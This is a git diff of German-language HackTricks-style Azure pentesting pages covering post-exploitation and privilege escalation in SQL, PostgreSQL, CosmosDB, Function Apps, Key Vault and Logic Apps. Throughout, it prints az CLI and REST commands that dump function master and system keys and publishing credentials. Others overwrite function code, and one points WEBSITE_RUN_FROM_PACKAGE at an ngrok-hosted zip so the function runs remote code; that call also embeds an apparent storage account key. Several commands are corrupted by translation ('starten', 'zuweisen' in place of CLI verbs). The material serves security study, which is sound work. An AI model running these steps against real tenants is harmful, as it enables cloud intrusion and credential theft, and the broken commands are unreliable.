"Microsoft.DBforPostgreSQL/flexibleServers/configurations/read" +### `Microsoft.DBforPostgreSQL/flexibleServers/configurations/write` && `Microsoft.DBforPostgreSQL/flexibleServers/configurations/read` Mit dieser Berechtigung können Sie die Konfigurationseinstellungen einer Postgres Flexible Server-Instanz auf Azure aktualisieren. Dies ermöglicht die Anpassung von Serverparametern wie Leistungstuning, Sicherheitskonfigurationen oder Betriebseinstellungen. - -{% code overflow="wrap" %} ```bash az postgres flexible-server parameter set \ --resource-group \ @@ -84,45 +66,36 @@ az postgres flexible-server parameter set \ --name \ --value ``` -{% endcode %} - -### "Microsoft.DBforPostgreSQL/flexibleServers/stop/action" +### `Microsoft.DBforPostgreSQL/flexibleServers/stop/action` Mit dieser Berechtigung können Sie eine PostgreSQL Flexible Server-Instanz auf Azure stoppen. Das Stoppen eines Servers kann zu vorübergehenden Dienstunterbrechungen führen, die Anwendungen und Benutzer betreffen, die von der Datenbank abhängig sind. - -{% code overflow="wrap" %} ```bash az postgres flexible-server stop \ --name \ --resource-group ``` -{% endcode %} -### "Microsoft.DBforPostgreSQL/flexibleServers/start/action" +### `Microsoft.DBforPostgreSQL/flexibleServers/start/action` With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database. -{% code overflow="wrap" %} ```bash az postgres flexible-server starten \ --name \ --resource-group ``` -{% endcode %} -### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action" +### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` With this permission, you can assign a user-assigned managed identity to postgres flexible servers. -{% code overflow="wrap" %} ```bash az postgres flexible-server identity zuweisen \ --resource-group \ --server-name \ --identity ``` -{% endcode %} -### "*/delete" +### `*/delete` With this permissions you can delete resources related to postgres server in Azure such as server, firewalls, managed identities or configurations diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md index 881bc7762..48a8682c6 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md @@ -10,7 +10,7 @@ Für weitere Informationen zur SQL-Datenbank siehe: ../az-services/az-sql.md {{#endref}} -### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write" +### `Microsoft.Sql/servers/databases/read`, `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/databases/write` Mit diesen Berechtigungen kann ein Angreifer Datenbanken innerhalb der kompromittierten Umgebung erstellen und aktualisieren. Diese Post-Exploitation-Aktivität könnte es einem Angreifer ermöglichen, bösartige Daten hinzuzufügen, Datenbankkonfigurationen zu ändern oder Hintertüren für weitere Persistenz einzufügen, was potenziell den Betrieb stören oder zusätzliche bösartige Aktionen ermöglichen könnte. ```bash @@ -20,7 +20,7 @@ az sql db create --resource-group --server --name # Update Database az sql db update --resource-group --server --name --max-size ``` -### "Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read" +### `Microsoft.Sql/servers/elasticPools/write` && `Microsoft.Sql/servers/elasticPools/read` Mit diesen Berechtigungen kann ein Angreifer elasticPools innerhalb der kompromittierten Umgebung erstellen und aktualisieren. Diese Post-Exploitation-Aktivität könnte es einem Angreifer ermöglichen, bösartige Daten hinzuzufügen, Datenbankkonfigurationen zu ändern oder Hintertüren für weitere Persistenz einzufügen, was potenziell den Betrieb stören oder zusätzliche bösartige Aktionen ermöglichen könnte. ```bash @@ -40,9 +40,9 @@ az sql elastic-pool update \ --dtu \ --tags ``` -### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write" +### `Microsoft.Sql/servers/auditingSettings/read` && `Microsoft.Sql/servers/auditingSettings/write` -Mit dieser Berechtigung können Sie die Überwachungseinstellungen auf einem Azure SQL Server ändern oder aktivieren. Dies könnte einem Angreifer oder autorisierten Benutzer ermöglichen, die Auditkonfigurationen zu manipulieren, möglicherweise Spuren zu verwischen oder Auditprotokolle an einen Ort umzuleiten, der unter ihrer Kontrolle steht. Dies kann die Sicherheitsüberwachung behindern oder es ermöglichen, die Aktionen nachverfolgen zu können. HINWEIS: Um die Überwachung für einen Azure SQL Server mit Blob Storage zu aktivieren, müssen Sie ein Speicherkonto anhängen, in dem die Auditprotokolle gespeichert werden können. +Mit dieser Berechtigung können Sie die Auditing-Einstellungen auf einem Azure SQL Server ändern oder aktivieren. Dies könnte einem Angreifer oder autorisierten Benutzer ermöglichen, die Auditkonfigurationen zu manipulieren, möglicherweise um Spuren zu verwischen oder Auditprotokolle an einen Ort umzuleiten, der unter ihrer Kontrolle steht. Dies kann die Sicherheitsüberwachung behindern oder es ermöglichen, die Aktionen im Auge zu behalten. HINWEIS: Um das Auditing für einen Azure SQL Server mit Blob Storage zu aktivieren, müssen Sie ein Speicherkonto anhängen, in dem die Auditprotokolle gespeichert werden können. ```bash az sql server audit-policy update \ --server \ @@ -51,16 +51,16 @@ az sql server audit-policy update \ --storage-account \ --retention-days 7 ``` -### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write" +### `Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read`, `Microsoft.Sql/servers/connectionPolicies/read` && `Microsoft.Sql/servers/connectionPolicies/write` -Mit dieser Berechtigung können Sie die Verbindungsrichtlinien eines Azure SQL Servers ändern. Diese Fähigkeit kann ausgenutzt werden, um serverseitige Verbindungseinstellungen zu aktivieren oder zu ändern. +Mit dieser Berechtigung können Sie die Verbindungseinstellungen eines Azure SQL Servers ändern. Diese Fähigkeit kann ausgenutzt werden, um serverseitige Verbindungseinstellungen zu aktivieren oder zu ändern. ```bash az sql server connection-policy update \ --server \ --resource-group \ --connection-type ``` -### "Microsoft.Sql/servers/databases/export/action" +### `Microsoft.Sql/servers/databases/export/action` Mit dieser Berechtigung können Sie eine Datenbank von einem Azure SQL Server in ein Speicherkonto exportieren. Ein Angreifer oder autorisierter Benutzer mit dieser Berechtigung kann sensible Daten aus der Datenbank exfiltrieren, indem er sie an einen Ort exportiert, den er kontrolliert, was ein erhebliches Risiko für Datenverletzungen darstellt. Es ist wichtig, den Speicher-Schlüssel zu kennen, um dies durchführen zu können. ```bash @@ -74,9 +74,9 @@ az sql db export \ --admin-password ``` -### "Microsoft.Sql/servers/databases/import/action" +### `Microsoft.Sql/servers/databases/import/action` -Mit dieser Berechtigung können Sie eine Datenbank in einen Azure SQL Server importieren. Ein Angreifer oder autorisierter Benutzer mit dieser Berechtigung kann potenziell bösartige oder manipulierte Datenbanken hochladen. Dies kann dazu führen, dass Kontrolle über sensible Daten erlangt wird oder schädliche Skripte oder Trigger in die importierte Datenbank eingebettet werden. Zusätzlich können Sie sie auf Ihren eigenen Server in Azure importieren. Hinweis: Der Server muss Azure-Dienste und -Ressourcen den Zugriff auf den Server erlauben. +Mit dieser Berechtigung können Sie eine Datenbank in einen Azure SQL Server importieren. Ein Angreifer oder autorisierter Benutzer mit dieser Berechtigung kann potenziell bösartige oder manipulierte Datenbanken hochladen. Dies kann dazu führen, dass die Kontrolle über sensible Daten erlangt wird oder dass schädliche Skripte oder Trigger in die importierte Datenbank eingebettet werden. Zusätzlich können Sie sie auf Ihren eigenen Server in Azure importieren. Hinweis: Der Server muss Azure-Dienste und -Ressourcen den Zugriff auf den Server erlauben. ```bash az sql db import --admin-user \ --admin-password \ @@ -85,6 +85,6 @@ az sql db import --admin-user \ --resource-group \ --storage-key-type SharedAccessKey \ --storage-key \ ---storage-uri "https://.blob.core.windows.net/bacpac-container/MyDatabase.bacpac" +--storage-uri `https://.blob.core.windows.net/bacpac-container/MyDatabase.bacpac` ``` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md index 4cb9c410f..7c5e3cf9a 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md @@ -5,15 +5,13 @@ ## CosmosDB Privesc Für weitere Informationen zur SQL-Datenbank siehe: -{% content-ref url="../az-services/az-cosmosDB.md" %} -[az-cosmosDB.md](../az-services/az-cosmosDB.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-cosmosDB.md +{{#endref}} -### ("Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read") & ("Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read") +### (`Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read`) & (`Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read`) -Mit diesen Berechtigungen können Sie Privilegien eskalieren, indem Sie einem Benutzer die Berechtigungen zum Ausführen von Abfragen und zum Verbinden mit der Datenbank geben. Zuerst wird eine Rollenbeschreibung erstellt, die die erforderlichen Berechtigungen und Bereiche festlegt. - -{% code overflow="wrap" %} +Mit diesen Berechtigungen können Sie Privilegien eskalieren, indem Sie einem Benutzer die Berechtigungen erteilen, Abfragen auszuführen und sich mit der Datenbank zu verbinden. Zuerst wird eine Rollenbeschreibung erstellt, die die erforderlichen Berechtigungen und Bereiche festlegt. ```bash az cosmosdb sql role definition create \ --account-name \ @@ -36,11 +34,7 @@ az cosmosdb sql role definition create \ ] }' ``` -{% endcode %} - -Danach wird die Zuweisung der Definition an einen Benutzer vorgenommen. Danach kann dieser Benutzer die DefaultAzureCredential() Verbindungsmethode verwenden, um Abfragen auszuführen. - -{% code overflow="wrap" %} +Nachdem die Zuweisung der Definition an einen Benutzer erfolgt ist, kann dieser Benutzer die Verbindungsmethode DefaultAzureCredential() verwenden, um Abfragen auszuführen. ```bash az cosmosdb sql role assignment create \ --account-name \ @@ -49,19 +43,12 @@ az cosmosdb sql role assignment create \ --principal-id \ --scope "/" ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/listKeys/action" -Mit dieser Berechtigung können Sie die primären und sekundären Schlüssel für ein Azure Cosmos DB-Konto abrufen. Diese Schlüssel bieten vollen Zugriff auf das Datenbankkonto und seine Ressourcen, wodurch Aktionen wie Datenlesungen, -schreibungen und Konfigurationsänderungen ermöglicht werden. - -{% code overflow="wrap" %} +### `Microsoft.DocumentDB/databaseAccounts/listKeys/action` +Mit dieser Berechtigung können Sie die primären und sekundären Schlüssel für ein Azure Cosmos DB-Konto abrufen. Diese Schlüssel bieten vollen Zugriff auf das Datenbankkonto und dessen Ressourcen, wodurch Aktionen wie Datenlesungen, -schreibungen und Konfigurationsänderungen ermöglicht werden. ```bash az cosmosdb keys list \ --name \ --resource-group ``` -{% endcode %} - - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md index 28b96c5c4..0816da2dd 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md @@ -20,7 +20,7 @@ Sobald Sie herausgefunden haben, wo sich der Code der Funktion befindet, können Der Code der Funktion wird normalerweise in einem Dateifreigabe gespeichert. Mit ausreichendem Zugriff ist es möglich, die Code-Datei zu ändern und **die Funktion dazu zu bringen, beliebigen Code zu laden**, was es ermöglicht, die Berechtigungen auf die verwalteten Identitäten zu eskalieren, die an die Funktion angehängt sind. -Diese Bereitstellungsmethode konfiguriert normalerweise die Einstellungen **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** und **`WEBSITE_CONTENTSHARE`**, die Sie von +Diese Bereitstellungsmethode konfiguriert normalerweise die Einstellungen **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** und **`WEBSITE_CONTENTSHARE`**, die Sie von ```bash az functionapp config appsettings list \ --name \ @@ -29,7 +29,7 @@ az functionapp config appsettings list \ Diese Konfigurationen enthalten den **Storage Account Key**, den die Funktion verwenden kann, um auf den Code zuzugreifen. > [!CAUTION] -> Mit ausreichenden Berechtigungen, um eine Verbindung zum File Share herzustellen und das **Skript** zu ändern, ist es möglich, beliebigen Code in der Funktion auszuführen und Privilegien zu eskalieren. +> Mit ausreichenden Berechtigungen, um eine Verbindung zum File Share herzustellen und das **Skript zu ändern**, ist es möglich, beliebigen Code in der Funktion auszuführen und Privilegien zu eskalieren. Das folgende Beispiel verwendet macOS, um eine Verbindung zum File Share herzustellen, aber es wird empfohlen, auch die folgende Seite für weitere Informationen zu File Shares zu überprüfen: @@ -49,7 +49,7 @@ open "smb://.file.core.windows.net/" Es ist auch üblich, die **zip-Releases** im Ordner `function-releases` des Storage Account Containers zu finden, den die Function App in einem Container **normalerweise mit dem Namen `function-releases`** verwendet. -In der Regel wird diese Bereitstellungsmethode die Konfiguration `WEBSITE_RUN_FROM_PACKAGE` in: +In der Regel wird diese Bereitstellungsmethode die Konfiguration `WEBSITE_RUN_FROM_PACKAGE` in folgendem setzen: ```bash az functionapp config appsettings list \ --name \ @@ -58,7 +58,7 @@ az functionapp config appsettings list \ Diese Konfiguration enthält normalerweise eine **SAS-URL zum Herunterladen** des Codes aus dem Speicherkonto. > [!CAUTION] -> Mit ausreichenden Berechtigungen zum Verbinden mit dem Blob-Container, der **den Code im Zip enthält**, ist es möglich, beliebigen Code in der Funktion auszuführen und die Berechtigungen zu eskalieren. +> Mit ausreichenden Berechtigungen, um eine Verbindung zum Blob-Container herzustellen, der **den Code im Zip enthält**, ist es möglich, beliebigen Code in der Funktion auszuführen und Privilegien zu eskalieren. - **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)` @@ -116,13 +116,13 @@ az storage blob upload \ --file /tmp/scm-latest-.zip \ --overwrite ``` -### Microsoft.Web/sites/host/listkeys/action +### `Microsoft.Web/sites/host/listkeys/action` Diese Berechtigung ermöglicht das Auflisten der Funktions-, Master- und Systemschlüssel, jedoch nicht des Hostschlüssels, der angegebenen Funktion mit: ```bash az functionapp keys list --resource-group --name ``` -Mit dem Master-Schlüssel ist es auch möglich, den Quellcode über eine URL wie: +Mit dem Master-Schlüssel ist es auch möglich, den Quellcode in einer URL wie: ```bash # Get "script_href" from az rest --method GET \ @@ -143,34 +143,34 @@ curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwro -H "If-Match: *" \ -v ``` -### Microsoft.Web/sites/functions/listKeys/action +### `Microsoft.Web/sites/functions/listKeys/action` Diese Berechtigung ermöglicht es, den Hostschlüssel der angegebenen Funktion zu erhalten mit: ```bash az rest --method POST --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//listKeys?api-version=2022-03-01" ``` -### Microsoft.Web/sites/host/functionKeys/write +### `Microsoft.Web/sites/host/functionKeys/write` Diese Berechtigung ermöglicht das Erstellen/Aktualisieren eines Funktionsschlüssels der angegebenen Funktion mit: ```bash az functionapp keys set --resource-group --key-name --key-type functionKeys --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` -### Microsoft.Web/sites/host/masterKey/write +### `Microsoft.Web/sites/host/masterKey/write` -Diese Berechtigung ermöglicht das Erstellen/Aktualisieren eines Master-Schlüssels für die angegebene Funktion mit: +Diese Berechtigung ermöglicht es, einen Master-Schlüssel für die angegebene Funktion zu erstellen/aktualisieren mit: ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` > [!CAUTION] > Denken Sie daran, dass Sie mit diesem Schlüssel auch auf den Quellcode zugreifen und ihn wie zuvor erklärt ändern können! -### Microsoft.Web/sites/host/systemKeys/write +### `Microsoft.Web/sites/host/systemKeys/write` Diese Berechtigung ermöglicht das Erstellen/Aktualisieren eines Systemfunktionsschlüssels für die angegebene Funktion mit: ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` -### Microsoft.Web/sites/config/list/action +### `Microsoft.Web/sites/config/list/action` Diese Berechtigung ermöglicht es, die Einstellungen einer Funktion abzurufen. In diesen Konfigurationen könnte es möglich sein, die Standardwerte **`AzureWebJobsStorage`** oder **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** zu finden, die einen **Kontoschlüssel zum Zugriff auf den Blob-Speicher der Funktion mit VOLLBERECHTIGUNGEN** enthalten. ```bash @@ -181,9 +181,9 @@ Darüber hinaus ermöglicht diese Berechtigung auch den Zugriff auf den **SCM-Be az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/publishingcredentials/list?api-version=2018-11-01" ``` -### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write +### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write` -Diese Berechtigungen ermöglichen es, die Konfigurationswerte einer Funktion aufzulisten, wie wir zuvor gesehen haben, plus **diese Werte zu ändern**. Dies ist nützlich, da diese Einstellungen anzeigen, wo sich der auszuführende Code innerhalb der Funktion befindet. +Diese Berechtigungen ermöglichen es, die Konfigurationswerte einer Funktion aufzulisten, wie wir zuvor gesehen haben, plus **diese Werte zu ändern**. Dies ist nützlich, da diese Einstellungen anzeigen, wo sich der auszuführende Code innerhalb der Funktion befindet. Es ist daher möglich, den Wert der Einstellung **`WEBSITE_RUN_FROM_PACKAGE`** auf eine URL-Zip-Datei zu setzen, die den neuen Code enthält, der innerhalb einer Webanwendung ausgeführt werden soll: @@ -213,7 +213,7 @@ az rest --method PUT \ --headers '{"Content-Type": "application/json"}' \ --body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}' ``` -### Microsoft.Web/sites/hostruntime/vfs/write +### `Microsoft.Web/sites/hostruntime/vfs/write` Mit dieser Berechtigung ist es **möglich, den Code einer Anwendung** über die Webkonsole (oder über den folgenden API-Endpunkt) zu ändern: ```bash @@ -224,9 +224,9 @@ az rest --method PUT \ --headers '{"Content-Type": "application/json", "If-Match": "*"}' \ --body @/tmp/body ``` -### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write) +### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`) -Diese Berechtigung ermöglicht es, alle Veröffentlichungsprofile aufzulisten, die im Grunde **Basis-Auth-Anmeldeinformationen** enthalten: +Diese Berechtigungen ermöglichen es, alle Veröffentlichungsprofile aufzulisten, die im Grunde **Basis-Auth-Anmeldeinformationen** enthalten: ```bash # Get creds az functionapp deployment list-publishing-profiles \ @@ -234,7 +234,7 @@ az functionapp deployment list-publishing-profiles \ --resource-group \ --output json ``` -Eine weitere Möglichkeit wäre, eigene Anmeldeinformationen festzulegen und diese zu verwenden mit: +Eine weitere Möglichkeit wäre, Ihre eigenen Anmeldeinformationen festzulegen und diese zu verwenden mit: ```bash az functionapp deployment user set \ --user-name DeployUser123456 g \ @@ -299,36 +299,27 @@ put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and depl ``` _Beachten Sie, dass der **FTP-Benutzername** normalerweise im Format \\\$\ vorliegt._ -### Microsoft.Web/sites/publish/Action - -Laut [**den Dokumenten**](https://github.com/projectkudu/kudu/wiki/REST-API#command) erlaubt diese Berechtigung, **Befehle im SCM-Server auszuführen**, die verwendet werden könnten, um den Quellcode der Anwendung zu ändern: -```bash -az rest --method POST \ ---resource "https://management.azure.com/" \ ---url "https://newfuncttest123.scm.azurewebsites.net/api/command" \ ---body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug -``` -### Microsoft.Web/sites/hostruntime/vfs/read +### `Microsoft.Web/sites/hostruntime/vfs/read` Diese Berechtigung ermöglicht es, den **Quellcode** der App über das VFS zu **lesen**: ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` -### Microsoft.Web/sites/functions/token/action +### `Microsoft.Web/sites/functions/token/action` -Mit dieser Berechtigung ist es möglich, [das **Admin-Token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) zu erhalten, das später verwendet werden kann, um den **Master-Schlüssel** abzurufen und somit auf den Code der Funktion zuzugreifen und ihn zu ändern: +Mit dieser Berechtigung ist es möglich, [das **Admin-Token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) zu erhalten, das später verwendet werden kann, um den **Master-Schlüssel** abzurufen und somit auf den Code der Funktion zuzugreifen und ihn zu ändern. + +Bei meinen letzten Überprüfungen wurde jedoch kein Token zurückgegeben, daher könnte es deaktiviert oder nicht mehr funktionsfähig sein, aber so würden Sie es tun: ```bash # Get admin token -az rest --method POST \ ---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01" \ ---headers '{"Content-Type": "application/json"}' \ ---debug +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01" # Get master key curl "https://.azurewebsites.net/admin/host/systemkeys/_master" \ -H "Authorization: Bearer " ``` -### Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read) +### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`) Diese Berechtigungen ermöglichen es, **Funktionen zu aktivieren**, die möglicherweise deaktiviert sind (oder sie zu deaktivieren). ```bash @@ -342,17 +333,17 @@ Es ist auch möglich zu sehen, ob eine Funktion in der folgenden URL aktiviert o ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//properties/state?api-version=2024-04-01" ``` -### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read) +### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`) -Mit diesen Berechtigungen ist es möglich, **den Container, der von einer Function App betrieben wird**, die so konfiguriert ist, dass sie einen Container ausführt, zu **modifizieren**. Dies würde es einem Angreifer ermöglichen, eine bösartige Azure Function Container App zu Docker Hub (zum Beispiel) hochzuladen und die Funktion dazu zu bringen, sie auszuführen. +Mit diesen Berechtigungen ist es möglich, **den Container, der von einer Function App ausgeführt wird, zu ändern**, die so konfiguriert ist, dass sie einen Container ausführt. Dies würde es einem Angreifer ermöglichen, eine bösartige Azure Function Container-App auf Docker Hub (zum Beispiel) hochzuladen und die Funktion dazu zu bringen, sie auszuführen. ```bash az functionapp config container set --name \ --resource-group \ --image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0" ``` -### Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read) +### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`) -Mit diesen Berechtigungen ist es möglich, **eine neue benutzerverwaltete Identität an eine Funktion anzuhängen**. Wenn die Funktion kompromittiert wurde, würde dies ermöglichen, die Berechtigungen auf jede benutzerverwaltete Identität zu eskalieren. +Mit diesen Berechtigungen ist es möglich, **eine neue benutzerdefinierte Identität an eine Funktion anzuhängen**. Wenn die Funktion kompromittiert wurde, würde dies ermöglichen, die Berechtigungen auf jede benutzerdefinierte Identität zu eskalieren. ```bash az functionapp identity assign \ --name \ @@ -373,8 +364,8 @@ az functionapp config set --remote-debugging-enabled=True --name --re ``` ### Ändern des Github-Repos -Ich habe versucht, das Github-Repo, von dem die Bereitstellung erfolgt, zu ändern, indem ich die folgenden Befehle ausgeführt habe, aber selbst wenn es geändert wurde, **wurde der neue Code nicht geladen** (wahrscheinlich, weil es erwartet, dass die Github Action den Code aktualisiert).\ -Darüber hinaus wurde die **verwaltete Identität federierte Anmeldeinformationen nicht aktualisiert**, um das neue Repository zuzulassen, sodass es so aussieht, als wäre dies nicht sehr nützlich. +Ich habe versucht, das Github-Repo zu ändern, von dem aus die Bereitstellung erfolgt, indem ich die folgenden Befehle ausgeführt habe, aber selbst wenn es geändert wurde, **wurde der neue Code nicht geladen** (wahrscheinlich, weil es erwartet, dass die Github Action den Code aktualisiert).\ +Darüber hinaus wurde die **verwaltete Identität der föderierten Anmeldeinformationen nicht aktualisiert**, um das neue Repository zuzulassen, sodass es so aussieht, als wäre dies nicht sehr nützlich. ```bash # Remove current az functionapp deployment source delete \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md index e4cca82c7..85403fc08 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md @@ -10,7 +10,7 @@ Für weitere Informationen zu diesem Dienst siehe: ../az-services/az-keyvault.md {{#endref}} -### Microsoft.KeyVault/vaults/write +### `Microsoft.KeyVault/vaults/write` Ein Angreifer mit dieser Berechtigung kann die Richtlinie eines Key Vaults ändern (der Key Vault muss Zugriffsrichtlinien anstelle von RBAC verwenden). ```bash diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md index d9b2e8dac..283cb557c 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md @@ -5,15 +5,13 @@ ## Logic Apps Privesc Für weitere Informationen zur SQL-Datenbank siehe: -{% content-ref url="../az-services/az-logic-apps.md" %} -[az-logic-apps.md](../az-services/az-logic-apps.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-logic-apps.md +{{#endref}} -### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action") +### (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`) && (`Microsoft.Logic/workflows/triggers/run/action`) Mit dieser Berechtigung können Sie Azure Logic Apps-Workflows erstellen oder aktualisieren. Workflows definieren automatisierte Prozesse und Integrationen zwischen verschiedenen Systemen und Diensten. - -{% code overflow="wrap" %} ```bash az logic workflow create \ --resource-group \ @@ -26,8 +24,6 @@ az logic workflow update \ --resource-group logicappgroup \ --definition ``` -{% endcode %} - Und nachdem Sie es geändert haben, können Sie es mit folgendem Befehl ausführen: ```bash az rest \ @@ -36,16 +32,12 @@ az rest \ --body '{}' \ --headers "Content-Type=application/json" ``` -### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action") -Mit diesen Berechtigungen können Sie Logic App-Workflows mit ZIP-Datei-Bereitstellungen bereitstellen. Diese Berechtigungen ermöglichen Aktionen wie das Lesen von App-Details, den Zugriff auf 